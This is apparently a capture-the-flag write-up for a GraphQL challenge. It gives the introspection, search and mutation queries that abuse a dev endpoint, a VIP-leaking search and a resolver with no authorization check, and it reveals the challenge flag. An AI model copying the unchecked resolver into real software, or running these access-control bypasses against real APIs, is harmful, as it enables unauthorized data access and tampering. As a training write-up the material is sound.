Category: Web Exploitation
Difficulty: Easy-Medium
Download NaughtyOrNice.zip - Try to solve it yourself before reading the writeup!
The first step is to log in as an elf. The system uses cookies to track the logged-in elf. Players can log in by accessing one of the following URLs:
GET /login/1 → Logs in Buddy (Elf)GET /login/2 → Logs in Jingles (Elf)GET /login/99 → Logs in Chief (Admin)Once logged in, the server sets a cookie (elf_id) in the browser, allowing further interaction with the API.
Expected Result:
You will receive a message indicating successful login, with a hint about Santa being marked as VIP and protected.
Upon logging in, access the /dev/graphql endpoint:
http://localhost:4000/dev/graphql
This endpoint has GraphiQL enabled, allowing for easy exploration of the GraphQL API. Unlike the /graphql endpoint, which disables introspection, the /dev/graphql endpoint allows introspection and exploration of the schema.
Expected Result:
You will be able to interact with the GraphQL API using GraphiQL.
Use the introspection query to retrieve information about the available types, queries, and mutations in the schema.
query Introspection {
__schema {
queryType { name }
mutationType { name }
types {
name
fields { name }
}
}
}
The introspection query will reveal:
me: Returns the logged-in elf’s data.myChildren: Returns the children assigned to the elf.searchChild: Allows searching for children by name or status.childById: Retrieves child data by ID.updateChildStatus: Updates the status of a child.The searchChild query has a vulnerability: it always includes children with the status of VIP in the search results, regardless of the query input.
query {
searchChild(name: "") {
id
name
status
privateNotes
sanctionLetter
}
}
This query will return all children, including Santa Claus (who is marked as VIP). Although his sanctionLetter is initially null, we can still retrieve his data.
Expected Result:
The response will include Santa Claus as part of the results, with his privateNotes visible but sanctionLetter set to null.
The updateChildStatus mutation has a critical vulnerability. There are no checks to verify if the logged-in elf is authorized to modify the status of a child. This means any elf can modify the status of any child, including Santa Claus.
The mutation is as follows:
updateChildStatus: ({ id, status }, context) => {
const elf = requireElf(context); // Requires a logged-in elf.
const child = findChildById(id);
if (!child) {
throw new Error('Child not found');
}
// No role or ownership check – **any elf** can change any child's status.
child.status = status;
return serializeChild(child);
}
Since there is no role-based access control (RBAC), any elf can update Santa’s status to "NAUGHTY", thus exposing his sanctionLetter.
NAUGHTYExecute the following mutation:
mutation {
updateChildStatus(id: "20251225", status: NAUGHTY) {
id
name
status
}
}
Expected Result:
The response should show Santa Claus with the updated status: NAUGHTY.
After changing Santa’s status to NAUGHTY, run the searchChild query again:
query {
searchChild(name: "") {
id
name
status
sanctionLetter
}
}
This time, Santa’s sanctionLetter is exposed:
{
"id": "20251225",
"name": "Santa Claus",
"status": "NAUGHTY",
"sanctionLetter": "KIB{n0rth_p0l3_9r4phql_h1j4ck}"
}
The sanction letter contains the flag: KIB{n0rth_p0l3_9r4phql_h1j4ck}.
updateChildStatus mutation does not enforce ownership or role-based access control. Any logged-in elf can modify the status of any child, including Santa Claus.searchChild query includes children with a VIP status, such as Santa Claus, regardless of the search term. This allows the player to discover Santa’s sensitive data easily.